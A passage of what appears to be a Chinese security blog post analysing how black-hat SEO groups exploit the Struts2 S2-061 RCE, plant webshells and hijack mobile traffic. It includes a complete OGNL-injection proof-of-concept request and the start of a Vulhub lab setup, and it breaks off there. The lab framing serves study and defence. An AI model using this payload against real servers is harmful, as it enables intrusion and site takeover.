黑帽SEO从RCE漏洞Get Shell到网站篡改、定向劫持移动端流量实践分析

写在最前

本文创作的初衷在于分享和总结,自S2的RCE漏洞遍历之后,逐步涉及大规模事件的漏洞利用和黑灰产分析。基于工作中安全分析技术的分享提升,遂有关于黑帽SEO的从RCE漏洞Get Shell到网站篡改劫持的基本操作实践分析。在篡改劫持和黑灰产分析的路上逐渐深入,才知道基本操作实践分析是真的基本且班门弄斧,原先羞愧于浅显本不欲发出来,后想来初衷在于分享和总结,那就欢迎各位师傅来侃我。其实我还知道几种不方便发文的篡改劫持方式,有分析有总结有收获才算进步,尚差“侃侃而谈”的交流。

概述

篡改黑链一直是网站防护绕不开的风险点,且篡改事件背后一直隐隐约约黑灰产的身影。移动互联网用户基数大,而黑灰产的博彩、色情对移动端流量的需求经久不衰,网站篡改定向劫持移动端流量、黑灰产博彩色情地址只接受来自移动端流量,已经成为黑帽SEO的普及手段。本文基于一类可GetShell的靶场远程RCE漏洞(S2-061),实践分析其漏洞利用(反弹shell)、后门驻留(冰蝎)、网站篡改(显式和隐式)、流量劫持(外部JS),从而理解一类攻击者批量获取Shell,出售Shell给黑帽SEO,运营者批量篡改、周期性流量劫持,具体表现为大规模博彩或色情定向劫持移动端流量的黑灰产行为。

RCE漏洞——资源概述

漏洞

漏洞名称

Struts2系列漏洞S2-061,CVE-2020-17530=CNVD-2020-69833

漏洞原理

S2-061:Struts远程代码执行漏洞,在使用某些标签属性的情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行。S2-061是对S2-059修复方案的bypass。S2-059的修复补丁仅修复绕过,OGNL表达式的执行的特性仍在。

S2-059:Struts2会对某些标签属性(比如id,S2-062的属性是name) 的属性值进行二次表达式解析,因此当这些标签属性中使用%{x}x的值用户可控时,用户再传入一个%{payload}即可造成OGNL表达式执行。

漏洞POC

Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF

------WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

上述POC无回显,无回显方式通常配合DNSlog验证。回显POC,需要注意修改Content-Type满足POST方式提交数据即可。

设备

机器

Ø Linux:Kali

靶机:192.168.68.129

攻击:192.168.68.134

Ø Windows

靶机:192.168.68.146

攻击:192.168.68.133

工具

Ø Shell管理工具

冰蝎3

Ø Shell编码工具

VScode

Ø 流量代理工具

Burpsuite(BP)

环境搭建

漏洞环境

Ø Vulhub
Kali靶机部署docker,搭建Vulhub靶场,开启S2-061靶场环境,具体步骤参考:

kali部署Vulhub靶场

  1. 靶机Docker部署并启动Vulhub的S2-061环境

  2. </
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值